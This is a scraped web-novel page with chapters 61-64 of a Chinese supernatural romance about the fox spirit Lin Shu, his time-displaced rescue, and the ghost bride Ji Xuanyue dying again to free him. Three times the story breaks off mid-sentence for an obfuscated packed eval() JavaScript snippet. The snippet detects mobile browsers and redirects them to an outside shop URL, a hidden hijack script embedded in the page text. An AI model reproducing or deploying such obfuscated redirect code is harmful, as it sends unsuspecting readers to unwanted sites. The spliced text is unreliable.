穆迎秋的笑容一下子就消失了。 他随手从地上捡起一根树枝，顺着笼子的缝隙就捅进来，对着林疏一顿猛戳。笼子里空间狭小，林疏奋力躲避着，但还是被树枝戳伤了好几处。 但林疏岂会坐以待毙？在穆迎秋插得正开心的时候，林疏找准时机，窜起来一口咬住了穆迎秋作恶的手掌！尖尖的犬齿刺进穆迎秋小指根部的掌肉里，痛得穆迎秋大叫了一声！ 61. 第 61 章 两人之间隔着笼子，穆迎秋向后一挣，林疏却不愿松口，穆迎秋的手便把笼子也带了起来。 笼壁在晃动中砸在林疏鼻子上，柔软的鼻尖一下子就冒血了，小狐狸不由松了口，随着笼子一起跌在地上，头晕目眩。 穆迎秋则举着鲜血淋漓的右手破口大骂。 林疏忍着身上密密麻麻的疼痛，露出快意的笑来！ 但穆迎秋的大喊大叫引出了屋里的穆迎松。 他皱着眉出来，拧了拧脑袋，看着挂彩的弟弟，不耐烦道：“又搞什么！” 穆迎秋咬着牙道：“畜生咬我！” 穆迎松瞧了瞧弟弟血肉模糊的手，扬了一下眉毛，竟然哈哈大笑起来。 林疏在笼子里冷眼旁观，知道穆迎松完全不介意穆迎秋折磨自己。 但是，如果他们要他的命，早就可以杀了他，既然带活着的他到这里来，自然是要他活着才有用。 活着的天狐有什么用林疏不知道，但四煞千年柱的风水局需要一个妖。 林疏的修行之路艰难，只要走错一步，就会堕为妖。 他又是在九龙千年柱被抓—— 穆家兄弟二人，恐怕是要用它做四煞千年柱。 林疏想到这里，顿时收了利爪和犬牙，他知道他绝对不能用天狐的灵力伤人，否则堕为妖物，就遂了他们的心愿！ 穆迎秋气急败坏地进屋去包扎了，留下穆迎松看着林疏。 见林疏窝在笼子里不出声，穆迎松嗤笑了一声，道：“阶下囚还装什么高冷？” 林疏不回答。 穆迎松道：“为了泡你，花了老子几万块，现如今你落到我们手里，不死也得脱层皮。你还装什么？” 林疏：“……” 都是装的？ 难道，车、西装和名表，都是租的？ 虽然眼下实在不适合笑……但林疏还是笑出了声。 他知道会惹怒穆迎松，他故意的。 穆迎松果然恼羞成怒，冲到笼子边死死按住了笼子顶部的两个边，将脸贴到笼上：“你、还、敢、笑！” 林疏非常识时务地闭嘴了。 他以为等待着他的会是一通暴力，但穆迎松的脸气得通红，额头上脖子上的血管都鼓起来了，却只是狠狠砸了一下笼子，然后把笼子丢出去老远。 一路翻滚，震得林疏头晕目眩，身上无处不疼。 但就没有后文了。 林疏心想，原来他们只敢吓唬吓唬他。 正这样试探着，穆迎秋从里屋出来了。他手上粗糙地缠了一圈绷带，另一只手里拿着一卷黑布，脸色很难看，出来后就对穆迎松道：“都布置好了。” 穆迎松回头看看他，道：“鸡也杀了？” 穆迎秋道：“没有，我手不方便，其他的都布置好了。” 林疏心中一动，他们在设祭台？要用到杀鸡的祭台都有什么……太多了，林疏一时间却猜不到他们要做的具体是什么。 但穆迎秋已经接替了穆迎松，穆迎松进屋后，他走过来，冷笑着拎起了林疏所在的笼子，随后，那大块黑布被盖在了笼顶。 林疏眼前顿时一片黑暗。 但很快，他感觉到了周围术法的痕迹，头顶的黑布密不透光，林疏在笼子里不安地转了几圈，正犹豫着要不要把鼻子拱出去闻闻味儿…… 突然，他感觉到一阵晕眩，随即四仰八叉倒在笼子里。 不知过了多久，也许只是一瞬间，林疏醒了。 他发现自己依然在笼子里，只是笼子换了，换成了一个鎏金缠丝、非常精致的笼子，外面罩着的布也成了透光的纱布。 他马上四脚并用站起来，刚想用尾巴扫一扫身上的土。 却发现……自己四条腿根部那种皮肉牵扯的感觉，不见了。 那种不适感，最初是源自他的皮在缝合过程中的错位，变回天狐原形后，他的颈部、背部都有这种牵扯感。 但此时却没有了。 林疏马上低头看自己，发现……他好像变回了一个皮毛完整的小狐狸！ 这是梦吗？ 林疏又追着自己的尾巴看了一圈，发现尾巴根部的缝合痕迹确实不见了！ 但他没有忘记自己身陷囹圄，他马上去拱这个新笼子的门，就发现，笼子的门是开着的！ 这么轻易放他自由，一定有阴谋！ 林疏警惕地在笼子里转了两圈，又试探着用鼻子拱开笼子的门，谨慎地朝外探头探脑。 紧接着，他闻到一股奇怪的味道。 ……放过鞭炮的那种味道。 老宅里为什么会有这种味道？难道穆迎松和穆迎秋把房子点了？ 不行，还是得看看，林疏马上窜出笼子，却发现，自己在一个非常非常精致的房间里。 这房间的布置非常雅致，红木家具，瓷器摆件，古色古香。 林疏围着房间走了一圈，莫名生出了一种熟悉感。他知道自己大概来过这地方，但这一切都被他忘记了。 娇小的狐狸顺着凳子跳上了酸枝木的桌案，在案上翻看上头的书，但书脊上都没写名字。 随后，他跳起来打算将门打开，出去看看。 但在他起跳的当场，门就被从外头向里推开了，雪白的小狐狸也一下子扎进了来人的怀里。 “哎呀……阿白，你撞得我的心扑通扑通地跳。”来人接住了小狐狸，温和道。 而林疏已经呆住了。 眼前的人，长着一张和穆迎秋七八分相似的面孔。 只是年纪更小些，看着只有十六七岁的样子，神情更温和，气质更清冷，比穆迎秋少了几分攻击性。 最重要的——他穿一身对襟马褂，梳了个大辫子，他这副模样，是清朝人的打扮。 林疏傻了。 这人一定是穆绍棠，也只能是穆绍棠。 但他为什么会见到活生生的穆绍棠？ 他又穿梭时空了吗？穆绍棠又为什么会叫他阿白？ 他是穆绍棠的宠物吗？穆绍棠给他起了名字？ 他为什么会认识穆绍棠？ 那他……会不会也认识姬悬月？ 林疏被穆绍棠抱着进了房间，穆绍棠一下一下捋着林疏的脊骨，时不时揉一揉小狐狸尖尖的耳朵，看起来rua狐狸rua得很熟练了。而林疏被迫窝在此人怀里，听着他的一腔少男心事。 “我是真的很喜欢羽哥，”他自言自语道，“但爹不会同意我跟他的事，这是唯一的办法了。” 林疏竖起耳朵，穆绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883410|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠说的难道是姬悬月？姬悬月曾说过，穆绍棠叫他羽哥……、 穆绍棠将小狐狸放在桌案上，一双黑白分明的眼睛紧盯着小狐狸的黑眸，道：“你觉得我这样做对吗？阿白，我跟他一起骗了我爹，他明明就不是姬悬月。” 林疏屏住呼吸，大气也不敢喘，就等着穆绍棠说出更多来。 可是穆绍棠只是沮丧地捂住了脸，过了好半天，才道：“我那么期待和他拜堂，今天却只能让公鸡代替我去……” 林疏马上知道，今天就是姬悬月嫁进来的日子！ 这里的姬悬月，是当年的姬悬月吗？ 鬼新娘姬悬月会跟着来到这个时空救他吗？ 又等了一会儿，穆绍棠始终没有再说什么了，林疏便当机立断，跳下桌案跑了。 穆绍棠在后面叫了他两声，追不上，也就不叫了。 林疏贴地飞奔，他对穆宅并不熟，而这宅子又实在太大。日头明晃晃，林疏沿着墙根一路往外跑……事实上他也不知道自己是在往外跑还是往里跑，总之找有人的地方就对了。 而越跑林疏越发现，这个宅子里的下人都对他很熟，见着他横冲直撞也不阻拦。 只是道： “哎呀，小少爷的阿白又跑出来了！” “快来人去找小少爷，让他抓回去呀！别冲撞了前面的喜宴！” 林疏顿时跑得更起劲儿了。 喜宴！果然是今天！ 横冲直撞的，总算给他找到了办喜事的正堂。他才贴着众人脚底来到前排，就见到喜娘搀着人高马大的新娘款款走来了。 虽然视角变了，但林疏突然恍惚觉得，自己好像回到了第一次见姬悬月的那天。 高挑的男新娘穿着一身红艳艳的喜服，红盖头和霞帔上绣着漂亮的金龙，林疏能看出他已经尽力让自己走得袅娜一些，但…… 反正众人看没看出来林疏不知道，他是一眼就看出来了这是个男人。 只是，林疏不知道这个姬悬月是当年的姬悬月，还是回来救他的姬悬月。 新娘子一路走到前头，穆家的下人果然抱出一只大公鸡。 新娘没什么反应，就老老实实跟公鸡站作一排。 证婚人高声道：“一拜天地！” 公鸡的脖子抻了两下，不明所以，而姬悬月突然转身，面向众位宾客，径自扯下了自己的盖头！ 林疏一愣，这是他不熟的剧情了——他去抓捕姬悬月的那天，还没到这一步，他就已经握着鬼新娘的手，把人……呃，把鬼带走了。 在真实的婚宴这天，姬悬月居然在一拜天地的时候，就摘了盖头开始搞事吗？ 趁着姬悬月露出一张明艳面孔，而下面的宾客惶然，林疏赶紧顺着凳子跳上餐桌，又蹦到了二位高堂身后的供桌上——高堂们已经被这突发状况惊到了，都站了起来，没人注意到他。 姬悬月摘了盖头后，对着底下的宾客们笑了一声，道：“各位亲戚朋友对不住了，我一路憋到现在，有句话不得不说！” 原本宾客们看着这貌美的新娘子，只是以为他突然扯下盖头的举动而惊讶，并没觉得他性别有异……高一点就高一点，长得还是很漂亮的。但是这新娘子一开口，大家又被吓了一跳，这不是个男人的声音吗？ 62. 第 62 章 姬悬月邪异一笑：“对，我是男人。” 一旁的林疏：“……”新婚典礼上开大啊！ 但出乎意料的是，高堂座位上蓄着胡子的瓜皮帽男人并没有乱了阵脚，反而温和道：“悬月，这又不是什么大不了的事，绍柏已娶妻生子，绍棠娶个男媳妇又怎么样？不必如此，块块把盖头盖上，你还差三拜，才是我穆家的儿媳呢！” 姬悬月：“……” 林疏啧了一声，姜还是老的辣……姬悬月空有一颗想搞事的心，看起来段位却远远不如这位胡子老铁。 而姬悬月的神色凝重了许多，蹙眉似乎在思索着什么。 林疏看着他的神色，就知道他此刻一定陷入了混乱。 或许他本来就没有打算真的嫁进穆家，只是想借着这场婚礼来达到什么目的。 但……他为什么不说话了？ 林疏很想做点什么，但他现在只是个狐……等等。 林疏试着运转了一□□内的……灵力，他发现，自己并不只是一只狐狸。 他是一只可以化形的狐狸。 该怎么办？现在变身成人吗？变成人后该做什么？ 拉着姬悬月私奔吗？ 不，不对，穆迎秋和穆迎松把他带到这个时代，一定有他们的目的，林疏知道他们一定是想引自己做出违背天地伦常之举，最好能一举堕妖。 所以，林疏不能行错一步。如果引得凡人围攻，却不小心伤了人，他就会变成四煞千年柱上的祭品！ 等等，难道…… 姬悬月也是这样的祭品？ 穆家为了把姬悬月做成祭品，才把他娶进来，并杀了他，把他做成后天血孽？ 穆家的小紫禁城风水局，穆家的四煞千年柱……他们到底想做什么！ 四煞千年柱明明……并不是个好风水局啊？ 林疏还没想清楚这一切，他跳上供桌的捣乱行为终于引起了众人的关注。 “这是小少爷的白狐？”穆老爷不悦道，“来人，抓回去！先关在厢房，别让它再出来捣乱！” 于是一群下人一窝蜂地围上来，林疏躲闪了一会儿，终于还是不敌四面八方的黑手，被拎着尾巴、绑住四肢，塞进了一个黑咕隆咚的厢房。 当门被闩上之后，林疏屏息细听了一会儿，听到外头的脚步声渐渐远了，才终于试着运起灵力，想变回人形。 ……然后林疏就发现了一个巨大的问题，绑着他的绳子上浸了能抑制天狐变身的符水。 这群人的确知道他是天狐。 …… 而另一边，林聆带着姬悬月坐上了顾煜城的越野车，三人趁着天还没亮，路上没人，从九龙千年柱飙车赶往穆家老宅。 数分钟后，在穆家正门的门口，顾煜城取出一盏散发莹莹绿光的煤油灯，在门口晃了两下，然后回头对林聆道：“离草灯有反应，林聆，你可以用溯灵试试看。” 林聆却看着穆家大门怔了怔，缓缓道：“不必了，我能感觉到，这里面有时空法阵。” “时空？”顾煜城蹙眉，“你是说，他们带小狐狸去了别的时空？” 林聆道：“差不多，大概是重回一段记忆里了。小狐狸的过去你我都知道，绝不能让他们再对他做一次那样的事了！” 旁边的姬悬月听了这话，心骤然揪紧，忙追问：“什么样的事？” 林聆看了他一眼，没有回答。但是已经从怀中取出一条璀璨的银色项链——姬悬月认得那个沙漏的吊坠，它的名字叫“溯回”。 “拉紧。”林聆道。 顾煜城便抓住了林聆的一只手，姬悬月也赶紧捏住了林聆的袖子。 沙漏倒转，一阵刺耳白光闪过，三个人都消失在了穆家老宅的门口。 姬悬月一睁眼，就看到自己站在一群人的面前。 他一怔，刚想说点什么，突然被一个红布从后往前盖住了头。 姬悬月：“……” 不知道为什么，这个流程他好像有点熟悉。 证婚人朗声道：“一拜天地！” 姬悬月稀里糊涂被旁边的喜婆按着往下拜了一拜。 “二拜高堂！” 喜婆又要按，姬悬月使劲一挣，不慎打落了旁边人怀中抱着的公鸡，大堂里顿时鸡飞狗跳，乱作一团。 姬悬月趁乱扯了盖头要跑，盖头一落，他抬头看到一人。 那是非常陌生的一张脸。 端正面孔上带着温和微笑，长着慈祥的皱纹，留着一截非常儒雅的胡子。 胡须上黑白参半，喻示着他几过半百的年龄。 姬悬月看着这张慈和的脸，却如坠冰窟一般，愣在了原地。 他的手脚开始冰凉，像是血液在倒流一般。 剧毒的恨意顺着血涌入了心脏，直引得他连呼吸都变得暴躁了。 穆文泰。 这人的名字，叫穆文泰。 姬悬月直觉一般想起了他的名字。 而就这短暂的停顿，让姬悬月错失了最后一个……逃跑的机会。 麻袋从后面套上了姬悬月的头，将他带着寒冰一样冷酷恨意的眼睛遮住。 坚硬的棍子从后面袭来，姬悬月后脑剧痛，嗡的一下失去了知觉。 再次睁眼时，姬悬月发现自己躺在一张床上，衣装完好，只是后脑勺还有点痛。 他倒吸一口冷气，伸手去摸，就摸到后脑勺一个坚硬的包。 但这都不重要……他坐起来，四处看了看，这里应该是他和穆绍棠的新房，只是门从外面被闩上了，他推拉了两下，打不开。 看来，他回到了自己出嫁的那天。 只是不知道为什么，林聆要带他回到这个时候？而且，他们两个去哪儿了？ 林疏会在这个时空里吗？ 姬悬月想到林疏，心头的杂乱一下子止住了。 他回头，搬起梳妆台边的红木软面凳，疯狂照着窗框砸去。 窗户镂空的雕花很快被砸了个稀巴烂，姬悬月踩上窗边的矮柜，就要往外钻，可大长腿才迈出去一半，他的头被人按住，强行按了回来。 新房的门被人从外头打开，一群家丁用各种家伙拦住了姬悬月，他不得不退回房间里，冷冷看着来人。 穆文泰，穆绍棠的父亲。 姬悬月其实并不知道自己为什么对此人会有如此大的敌意，但从眼下的情况来看，穆文泰恐怕跟他的死脱不了干系。 穆文泰进来后，先是命令家丁们守好门窗，然后将门关上了。 房中便只剩他和姬悬月两个人。 姬悬月微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883411|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微抬起头，轻蔑地与他对视。 而穆文泰叹了口气，道：“穆羽，你要胡闹到什么时候？” 穆羽？姬悬月心中一动，面上却装作胸有成竹，道：“我没空陪你闲聊，我有事要出去。” “绍棠被我关在后院，你找不到他的。”穆文泰深深看了他一眼。 姬悬月：“……” 谁要找你儿子？ 但，穆文泰话语一转，轻声道：“既然你嫁进来，也算是归了穆家，是可以入族谱的，与认祖归宗没有区别。我劝你老老实实，不要再做无意义的举动。” 姬悬月闻言，立刻反唇相讥：“谁稀罕进你们穆家的族谱？” 穆文泰则阴森森地笑了：“你假借悬月的名字嫁进穆家，不就是为了给你那贱人娘要个名分？穆羽还是穆姬氏，对你来说又有什么区别？还不都是姓穆。” 这信息量太大了，姬悬月暗自记住了穆文泰的话，不禁又反问道：“既然你知道，怎么还肯答应小棠娶我进门？你有什么阴谋？” 穆文泰捋着胡子，露出一个非常深沉恐怖的笑容：“那当然是为了……把你永远留在穆家！” 姬悬月瞧着他这幅样子就倒胃口，顿时懒得听他再废话，开始撸袖子：“谁稀罕留在穆家？你告诉我，小狐狸在哪里！” 穆文泰一怔：“那只白狐？你认识白狐？” 姬悬月道：“少废话！”他已经冲上去揪住了穆文泰的领子，十八少年和半百老人力量悬殊，穆文泰显然没想到姬悬月这么漂亮的小伙子会如此粗鲁，忙不迭道：“你放肆！” 姬悬月抄起旁边用来砸过窗框的红木凳，就要照着穆文泰的头来一下子。 穆文泰在那红木的凳子腿拍上脑门的前一秒，脸色完全空白着大喊一声：“后院厢房！后院的厢房！” 姬悬月举着凳子的手停在半空。 穆文泰刚松了口气，就看见凳子继续朝自己的脸拍过来。 姬悬月：“你家后院那么大，我怎么知道是哪个厢房！” 穆文泰知道姬悬月是真的做得出来用凳子拍自己脑袋的事，简直又气又害怕，只得屈辱地道：“栽着海棠树的那个！后院右边月门往里走，一路上都是海棠树……那个院子里也是，狐狸就在那里。” “哼。”姬悬月冷哼一声，松了手。穆文泰跌坐在地上，一边揉胸口，一边看着姬悬月走向门口。 姬悬月开始疯狂砸门：“快给老子把门打开！” 外头的家丁苦不堪言，眼见就要拦不住门了。 门里却一下子静了下来。 姬悬月敲门的动作定住，红木的凳子也缓缓脱手，掉在地上。 剧痛从背后传来，直透胸口。 血从身前喷了出来，姬悬月低头看着自己胸口冒出的鎏金烛台的尖钉，在心里叹了一声。 其实他有做过心理准备的。 只是……好痛。 这样冰冷尖锐的东西刺穿了心脏，不光好痛，还好冷。 冷得他几乎要忘记，他本来就已经死过一次了。他本来……就是这么冷。 在倒在地上的一瞬间，他后知后觉地回想起，他真正的死因，是被人正面刺穿了心脏。 也就是说，他真正死去的那天，和穆文泰之间说不定还有别的对话。 63. 第 63 章 会是什么？让身强力壮的十八岁姬悬月，毫无反抗之力地被穆文泰这糟老头子一刺穿心？ 这是他意识弥留之前，最后一个念头。 …… 昏暗的厢房里，林疏被绑得四肢麻痹，浑身发冷。 麻绳浸了符水，又湿又硬，绑他的人似乎是生怕他跑了，绳扣打得非常结实，勒得他四只白爪都不过血了，林疏现在已经感觉不到自己的手脚在何处。 他只能用灵力缓慢疏通，防止自己的手脚真的被捆得坏死。 还不知道下一步该怎么办……这绳子上的符水为什么还没蒸发干净啊！林疏心中焦灼，脑子里更是一团乱，但就在他思维满天飞的空挡，门外突然传来一声巨响。 林疏吓了一跳，浑身的毛都竖起来了。 然后门口传来叮咣的砸门声，片刻后，门锁被砸掉了，林疏夹紧尾巴，耳朵不自觉向后耸，警惕地看着门口。 映入眼帘的却是一身红衣，带血的红衣。 林疏的呼吸一下子就停了。 他怔怔看着，姬悬月跌跌撞撞闯进来，胸前有一道还在冒血的伤口，身前明艳漂亮的绣花已经被鲜血浸成暗红色。 一身是血的人踉跄着跪坐在林疏面前，去解林疏身上的绳子。 林疏看着他的眼睛，喃喃道：“姬悬月……” 姬悬月抿着嘴微笑着，安抚地摸摸他的耳朵，却不慎将血抹在了他皮毛上。 姬悬月手指一顿，赶紧擦了两下，结果越擦血越多，几乎把林疏染成了红狐狸。 林疏的眼眶也越来越红。 姬悬月终于叹口气，放弃了把小狐狸擦干净，而是继续用发冷的手指，艰难地一点一点解着林疏四肢上缠绕的绳子。 “你这是怎么了？”林疏终于哭出了声，“你是我的姬悬月，对吗？” 姬悬月却只是笑着点头。 绳子解开后，他终于张开口想说话，血却一股一股从嘴角流出来。 刚才不说话，是因为他要留着最后一口气。 此刻这口气松下来了，他用尽最后的力气，在林疏耳边道：“你师父师娘都来救你了，你要保护好自己……等他们找到你……” 他的声音带着种破碎的嘶哑，那尖锐的烛台将他的肺和心脏都刺穿，其实他已经很难发出声音了，胸口的伤本应让他瞬间毙命的。 但他在弥留之际，突然想起，自己是血孽厉鬼。就算被困在人的身体里，他也可以撼天动地。 于是他强行拖着尸体走，血孽之力再次被动用，却是被他用来吊住这具身体的最后一口气。 虽然答应了林聆不再动用……但他一想到小狐狸还被捆着关在厢房里，他就没有了任何顾忌。 但这种力量他不敢用太多，他重伤在身，本就神智涣散，再用更多孽力他恐怕就无法自控，所以那点微弱的力量，只够支撑他到这里了。 看着小狐狸恢复自由，他总算松了口气。这口气一松，他的胸口便不再起伏了。 林疏的手脚被捆得冰冷紫胀，他哆哆嗦嗦地拈了法决恢复人形，用发麻发软的四肢爬起来，爬到姬悬月身边，搂住了已经血尽而亡的红衣新娘。 姬悬月在他面前死了。 眼睛还半睁着，呼吸却停了，身体冰凉得……就像平时一样。 是了，姬悬月原本就是个死人。 却为了他，又死了一次。 林疏看着怀里失去生气的面孔，呼吸中带上了颤抖的哭腔。 他的眼泪一滴一滴落下，落在了姬悬月的脸上。 泪水滚烫，却再也暖不热怀里冷透了的胸膛。 很快，外面来了许多家丁，看到厢房门户大开，马上冲了进来。 他们看见姬悬月的尸体，吓了一跳，交头接耳道：“得去找老爷吧？不知道狐狸是不是跑了，先搜一下。” ——林疏在他们进来之前就变回了狐狸，他惦着姬悬月死前的话，也知道自己绝不能和凡人起冲突，便以狐身扒拉着姬悬月领口的衣服，藏在了他的怀里。 家丁们很快得到了穆文泰的命令，冲进厢房搜了一圈，然后将姬悬月的尸体抬起来带走了，当然，也并没有人意识到尸体怀里还揣着个小狐狸。 按照老爷的要求，家丁们将新娘抬进了一个房间，林疏估摸着人都出去了，就从姬悬月的衣服里跳了出来。 此时他一身雪白皮毛几乎全被染红了，湿漉漉的血腥味冲击着他的鼻子，但他不敢乱动，也不能出声。 这个房间似乎是那个新婚的洞房，就是不知为什么窗户用木板钉上了，门也关得严严实实。 房间里的布置都还很喜庆，姬悬月身下的被褥底下似乎还撒着红枣花生什么的。 但说是新房也有点古怪，因为这个屋子里满满的血腥味。 林疏起初还怀疑是姬悬月身上传出来的血腥味，但绕着门窗跑了一圈之后他发现，这房间的地板被清理过，水汽还未消去，而水汽弥漫中就混有血的味道。 这里是……姬悬月被杀的地方吗？ 林疏心中一动，四处查看了一番，先看的就是那龙凤花烛的烛台。 这对他在现实中始终无法得见的烛台此刻就好好放在案上，两只都被擦得干干净净。 林疏大着胆子缓慢变回人形，将上面的龙凤花烛都挨个拔下来，果然在其中一只烛台的尖端看到了一抹锈红色。 但林疏比对了半天，发现这对烛台在外形上没有任何区别，如果他回到他的时空、见到这只凶器，他无法凭肉眼分辩。 又四处观察了一圈，林疏找不到其他线索，就还是回到了姬悬月身边。 虽然姬悬月又死了，但在他身边，林疏觉得自己稍微有了点安全感。 师父和师娘如果要找他，其实是不需要物理手段的，如果他们来的时间，是在本时空的“姬悬月”拜堂之后，那这么久林聆和顾煜城还没找来，只能是因为，他们压根就没有找。 想从这个另开辟出的时空离开，回到属于他们的现实世界，光找到人可没用。以林疏对自己师父师娘的了解，这两个家伙的目标，必然不只是救人。 他们大概是去破阵了。 而林疏只需要熬时间，活到他们破阵成功为止。 天色渐暗，这个世界的天终于黑了。 林疏以狐形蹲在喜床的角落里，紧贴着姬悬月的小腿，警惕地竖着耳朵。 天色愈黑，房间里没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883412|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有烛火，林疏勉强靠着狐的夜视能力紧盯着门口。 入夜以后，穆府反而忙碌起来。然而并没有人进这个屋子，只是在院子四周跑来跑去。 林疏听到门外纷乱的脚步声越来越近，很快，他发现这些人开始集中在这间新房的门口！ 他们要做什么？ 林疏本将自己紧紧缩成一团，此刻外头的围堵让他心头警铃大作，他马上沿着姬悬月的小腿，钻进了喜服的裤管。 确保自己不会露出狐狸尾巴后，他慢慢转过身，这样只要他不掉出来，就可以观察到一些外面的情况。 家丁们很快推门进来了，林疏听到了那个曾摆了姬悬月一道的穆老爷的声音：“动作麻利些，趁着天黑，办完此事，重重有赏！” 姬悬月的尸体很快被搬动起来，而林疏体型小，竟然一直没被发现。 而后，他们将姬悬月放进了一处狭窄之处，林疏观察着，猜测是个棺材。 因为下一秒，头顶也被盖住了，应该是合上了棺盖。 但没有砸棺钉，只是合上了。 随即，林疏感觉到棺材被众家丁扛了起来，晃晃悠悠，最后放在了一辆马车上。 马蹄声、车轮声、赶车人的吆喝声，不绝入耳。 在这漆黑的深夜里，马车拉着新漆的棺材，不知奔往何处去。 而棺材里，躺着死在新婚之日的新嫁娘。 马车轱辘轱辘走了很久，久到林疏都快要睡着了，才突然停了。 林疏听见棺盖被掀起来的声音，银白的月光顺着姬悬月的裤管口照进来一点，林疏屏住呼吸，等待着他们的下一步。 只要姬悬月被抬出棺材，他就能看到这里是哪里！ 但就在这千钧一发之际！ 林疏眼前一切如万花筒般一闪而过，林疏一愣，紧接着，他四仰八叉朝后跌坐了下去，又被人一把接住。 “……可算是解开了。”顾煜城擦了一把汗，林疏听到师父的声音，本能一抖，然后偷偷睁开眼睛，就见林聆和顾煜城正蹲在自己面前。 而姬悬月……躺在他们身后。 顾煜城见林疏睁眼，蹙眉道：“我才出去多久，你就把自己搞成这样子？” 林疏战战兢兢道：“师师师父，我，我我我……” 顾煜城烦躁地挠了挠头：“跟你说过多少次，道术要学，阵法也要学，你但凡能多用点心，怎会被困在那么简单一个雷霆笼里？” 林疏惭愧地低下了头。往常这种时候他都得挨几下教鞭，知道狐形不方便顾煜城动手，便努力收拢周身几乎枯竭的灵力，想变回人形。 林聆却道：“你别化形了，狐形方便养伤。你以为那时空法阵是靠什么运转？我们找到你的时候就发现了，你才是阵眼，灵力几乎都被它抽光了。” 林疏小声哦了一声，突然想起什么，抬头问道：“师娘，那你们抓到穆迎秋和穆迎松了吗？” 林聆叹了口气道：“我们定位到阵眼的时候，他们似乎见势不妙，早跑了。不过跑得了和尚跑不了庙，这么大一座穆宅他们总不可能搬走，明天再来就是了。” 说罢他扭头看顾煜城：“现在怎么说？回家？阿城你的伤口……” 64. 第 64 章 “无妨，”顾煜城不自然地晃了一下肩膀，道，“先回去吧。这只鬼……”他回头看了一眼姬悬月，目光非常淡漠肃杀，像在看一只游戏里的积分怪。 林疏马上道：“我的！我带回去！我带回去！” 林聆却突然严肃道：“小狐狸，我再跟你说一次，姬悬月不能留。他在时空幻境里又死了一次，怨气更加深重，还擅自动用了血孽之力，再这样下去，他迟早会被孽力吞噬，不得好死。” 林疏一怔：“他动了血孽？” 林聆颔首道：“他在灵调局就动过一次，闯进了你师父给灵调局设立的阵法禁制。在九龙千年柱前又差点失控，被我及时点去了怨气，否则此时天罚早就把他劈得连灰都不剩了。至于幻境中——你亲眼所见他是如何拖着一具气绝的身体去找你。” 林疏不安道：“可他一直都很冷静……” 林聆面无表情道：“不杀他，迟早会出事，你沾了他的孽力，也是个不得好死的结果。” 林疏没法狡辩，只得道：“我会好好看着他的……” “小狐狸，”旁边的顾煜城却沉沉开口，“我教过你明辨是非，你也应该清楚，眼下的他或许还有希望，但早晚他会回到所有血孽厉鬼共同的命运。你可以对他抱有希望，但不要害了你自己。” 林疏忍不住道：“血孽厉鬼的共同命运，就一定是灰飞烟灭吗？或许他会不同呢？” 顾煜城道：“或许？你师父我见过的血孽没有一千也有八百，他们的结局无一例外。” “可是师父，”林疏道：“我之前专门查过的，如果他愿意赎罪，血孽也可以赎清的！” 顾煜城便与林聆对视一眼，而林聆叹口气道：“你只看到血孽的成因分为先天后天，却从没有注意到，为什么厉鬼那么多，血孽厉鬼却没几个？” 林疏露出茫然神色，不解道：“不是因为杀孽不够多吗？” 林聆摇头：“不，是因为怨不够重。能成血孽者，必有滔天怨气。凡是人死后心有不甘，便能成厉鬼，厉鬼伤人命两千，却并不一定会成血孽，只有身负血债累累，滔天怨气，执念成魔，才有可能生出血孽，在这种情况下他妄动一分孽力，就有引来天罚的可能。” 林疏艰难道：“那他……就非死不可吗？” 林聆深深看着他，道：“以他的血孽程度，如果真有一天失控了，你非但拦不住他，还会因他而死。” 林疏马上问道：“那我要如何才能让他不失控？” 林聆道：“杀了他。” 林疏静了。 林聆叹了口气，道：“杀了他，超度他，我那里有一颗横公鱼眼，他吃了就可以被超度净化，不会再受怨气驱使与折磨，而你，当下就能功德圆满、位列仙班。对你对他，这都是最好的结局。” 听了这话，林疏的眼睛直接就红了，颤声道：“你让我把他当成我成仙路上的功德？” 林聆冷酷道：“事实如此。” 林疏顿时浑身的毛都炸起来：“姬悬月救过我的命！我怎么能动手杀他？如果我这么无情无义，成了仙又有什么用？” 林聆不答。 林疏喘着气，原地转了好几圈，最后斩钉截铁道：“我不愿意一辈子都在愧疚中度过。如果有一天他变回血孽厉鬼，我会亲自收了他，不会叫他作乱的！” 林聆冷冷道：“希望你没有哭着来求我的那一天。” 林疏听了这话，突然心里很难过。师娘也是为他好，他其实都知道。可是，他怎么能对姬悬月动手？ “嘶……”他们身后突然传来痛苦呻|吟，姬悬月捂着胸口醒了。 厉鬼眼中还带着血红的孽力，却在触到小狐狸担忧的目光时，那些血色尽数褪去了。 他慢慢爬起来，捂着心脏处已经不再流血的伤口，跌跌撞撞，走到了林疏身边，林聆和顾煜城的面前。 “我听到了一些，你们的对话。”姬悬月膝盖一弯，跪在了林聆和顾煜城面前，“我知道你们的担忧，也知道……我死在林疏手上，才是对他最好的选择。” 林聆抱着手臂冷冷看着这个鬼。 